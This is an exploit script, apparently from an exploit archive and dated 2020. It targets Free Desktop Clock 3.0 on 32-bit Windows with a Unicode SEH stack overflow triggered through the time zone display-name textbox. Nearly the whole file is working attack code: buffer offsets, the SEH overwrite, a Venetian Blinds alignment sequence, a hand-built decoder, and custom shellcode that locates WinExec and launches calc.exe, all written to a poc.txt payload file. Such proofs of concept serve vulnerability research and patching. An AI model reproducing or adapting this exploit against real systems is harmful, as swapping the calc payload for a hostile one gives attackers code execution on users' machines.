1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324 | # Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH)
# Exploit Author: Bobby Cooke
# Date: 2020-04-11
# Vendor: Drive Software Company
# Vendor Site: http://www.drive-software.com
# Software Download: http://www.drive-software.com/download/freeclock.exe
# Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86)
# - Does not work on x64 version
# Version: Free Desktop Clock 3.0
# Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer
############################### CRASH INFO ###############################
# [!] Access violation
# 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044
# SEH chain of main thread
# Address SE handler
# 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite
# 00410041 74737953
# 69620C00 *** CORRUPT ENTRY ***
############################### CRASH INFO ###############################
File = 'poc.txt'
######################### EXPLOIT ENVIRONMENT INFO #########################
#badChars = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e'
#badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f'
#goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f)
# Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename
# 0x00400000 | False | False | False | False | [FreeDesktopClock.exe]
# 0x042b0000 | True | False | False | False | [Clock.dll]
######################### EXPLOIT ENVIRONMENT INFO #########################
os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite
nSEH = '\xeb\x05' # jmp short +2
SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe]
# nSEH & SEH translated opcodes after Pop-Pop-Ret
# EB 00 jmp short +2
# 05 00EB0043 add eax, 4300EB00
# GetPC to decode our decoder using Venetian Blinds technique
getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory
getPC += '\x61' # popad # [ESP] = &Payload
getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes
ebx2eax = '\x58' # pop eax # EAX = &Payload
ebx2eax += '\x72' # add [edx], dh
# Use Venetian Blinds technique to fix our mangled decoder
# + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte.
#
# Ajust EAX to &Decoder
getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder
getDecoder += '\x72' # add [edx], dh
getDecoder += '\x50' # push eax # [ESP] = &Decoder
getDecoder += '\x72' # add [edx], dh
############################# ZIPPER DECODER ###############################
# Set EAX = First non-null byte of shellcode
# init:
# 1 | 50 | push eax # EAX = &Shellcode
# 2 | 5F | pop edi # EDI = Decoder Destination Base Address
# 3 | 47 | inc edi # First 0x00 byte of shellcode
# 4:5 | 33D2 | xor edx, edx
# 6:7 | 33C9 | xor ecx, ecx
# 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter
# decodeLoop:
# 12:13 | 33DB | xor ebx, ebx
# 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte
# 15 | 42 | inc edx # increment to next non-null byte
# 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte
# 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte
# 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00
# 23:24 | 301F | xor [edi], bl # Write next byte of shellcode
# 25 | 47 | inc edi
# 26 | 49 | dec ecx
# 27:28 | 74 02 | je short jmp2code
# 29:30 | ^ EB ED | jmp short decodeLoop
# jmp2code:
# 31 | 50 | push eax
# 32 | C3 | ret
################################################3###########################
#DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3'
firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50'
#venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3'
# 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32
# Note: These nop unicode instructions are actually [reg+0x00] not [reg]
# The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes
# Use the 3 byte version for Venetian Blinds alignment
# Example:
# nasm > add [edx], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+00], dh
# 00000000 0032 add [edx],dh
# nasm > add [edx+01], dh
# 00000000 007201 add [edx+0x1],dh
# + This happens when typing in ASM commands into msf-nasm_shell and immunity
## 2nd byte - \x00 => \x5F
venBlinds = '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\xC6\x5F' # mov byte [eax], 0x50
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 4th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 6th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 8th byte - \x00 => \x66
venBlinds += '\xC6\x66' # mov byte [eax], 0x66
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 10th byte - \x00 => \x10
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 12th byte - \x00 => \x33
venBlinds += '\xC6\x33' # mov byte [eax], 0x33
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 14th byte - \x00 => \x42
venBlinds += '\xC6\x42' # mov byte [eax], 0x42
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 16th byte - \x00 => \x32
venBlinds += '\xC6\x32' # mov byte [eax], 0x32
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 18th byte - \x00 => \x02
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 20th byte - \x00 => \x10
venBlinds += '\xC6\x10' # mov byte [eax], 0x10
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 22nd byte - \x00 => \x3F
venBlinds += '\xC6\x3F' # mov byte [eax], 0x3F
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 24nd byte - \x00 => \x1F
venBlinds += '\xC6\x1F' # mov byte [eax], 0x1F
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 26th byte - \x00 => \x49
venBlinds += '\xC6\x49' # mov byte [eax], 0x49
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 28th byte - \x00 => \x02
venBlinds += '\xC6\x02' # mov byte [eax], 0x02
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 30th byte - \x00 => \xED
venBlinds += '\xC6\xED' # mov byte [eax], 0xED
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
venBlinds += '\x40' # inc eax // now eax points to the next '\x00'
venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution
## 32nd byte - \x00 => \xC3
venBlinds += '\xC6\xC3' # mov byte [eax], 0xC3
venBlinds += '\x72' # add [edx], dh
venBlinds += '\x40' # inc eax // now eax points shellcode byte
venBlinds += '\x72' # add [edx], dh
# Jump to the decoded decoder by Returning to the address we saved on the stack
venBlinds += '\xC3' # ret [!] Now we are executing the decoder!
os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds))
#badChars = 00 0d 80 82->8e 91->9f
# Custom PopCalc shellcode that avoids the bad characters
fKernel32 = '\x33\xF6' # xor esi, esi
fKernel32 += '\xF7\xE6' # mul esi
fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB
fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR
fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll
fKernel32 += '\xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll
fKernel32 += '\x50' # push eax
fKernel32 += '\x5E' # pop esi
fKernel32 += '\xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll
fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32
gExpotTbl = '\x33\xC9' # xor ecx, ecx
gExpotTbl += '\x33\xF6' # xor esi, esi
gExpotTbl += '\x33\xDB' # xor ebx, ebx
gExpotTbl += '\xF7\xE3' # mul ebx
gExpotTbl += '\x58' # pop eax # EAX = &kernel32
gExpotTbl += '\x50' # push eax # [ESP] = &kernel32
gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader
gExpotTbl += '\x03\xF0' # add esi, eax ; ESI = &NewEXEHeader
gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable
gExpotTbl += '\x03\xD0' # add edx, eax ; EDX = &ExportTable = 763477B0
gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable
gExpotTbl += '\x03\xD8' # add ebx, eax ; EBX = &ExportNameTable
gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable
gExpotTbl += '\x03\xC8' # add ecx, eax ; ECX = &ExportOrdinalTable
gExpotTbl += '\x51' # push ecx
gExpotTbl += '\x33\xFF' # xor edi, edi
gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable
gExpotTbl += '\x03\xF8' # add edi, eax ; EDI = &ExportAddrTable
gExpotTbl += '\x57' # push edi
fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW
fWinExec += '\x33\xC0' # xor eax, eax ; EAX = Counter
fWinExec += '\x33\xF6' # xor esi, esi
fWinExec += '\x03\xF4' # add esi, esp ; ESI = "WinE"
fWinExec += '\xFC' # cld ; Process strings left to right
fWinExec += '\x50' # push eax
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\x33\xFF' # xor edi, edi
fWinExec += '\x03\x3C\x18' # add edi, [eax+ebx]
fWinExec += '\x58' # pop eax
fWinExec += '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString
fWinExec += '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec"
fWinExec += '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop
fWinExec += '\x40' # inc eax ; Counter ++
fWinExec += '\xEB\xE1' # jmp short searchLoop ; restart loop
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\x41' # inc ecx
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable
fWinExec += '\x03\xC8' # add ecx, eax
fWinExec += '\x33\xC0' # xor eax, eax
fWinExec += '\x66\x03\x01' # add ax, [ecx] ; AX = ordinalNumber
fWinExec += '\x33\xC9' # xor ecx, ecx
fWinExec += '\x41\x41\x41\x41' # inc ecx X 4
fWinExec += '\xF7\xE1' # mul ecx
fWinExec += '\xFF\x74\x24\x04' # push dword [esp+0x4]
fWinExec += '\x01\x04\x24' # add [esp], eax
fWinExec += '\x5A' # pop edx
fWinExec += '\x33\xDB' # xor ebx, ebx
fWinExec += '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec
fWinExec += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec
# Call WinExec( CmdLine, ShowState );
# CmdLine = "calc.exe"
# ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
callWinExec = '\x33\xC9' # xor ecx, ecx ; clear eax register
callWinExec += '\x51' # push ecx ; string terminator 0x00 for "calc.exe" string
callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e
callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163
callWinExec += '\x33\xC0' # xor eax, eax
callWinExec += '\x03\xC4' # add eax, esp ; save pointer to "calc.exe" string in eax
callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001
callWinExec += '\x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument
callWinExec += '\x50' # push eax ; lpcmdLine - push string address stack # 1st argument
callWinExec += '\xFF\xD3' # call ebx ; Call the WinExec Function
shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec
buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode
filler = '\x77'*(9000-len(buffer))
buffer = buffer+filler
try:
payload = buffer
f = open(File, 'w')
f.write(payload)
f.close()
print File + " created successfully"
except:
print File + ' failed to create'
|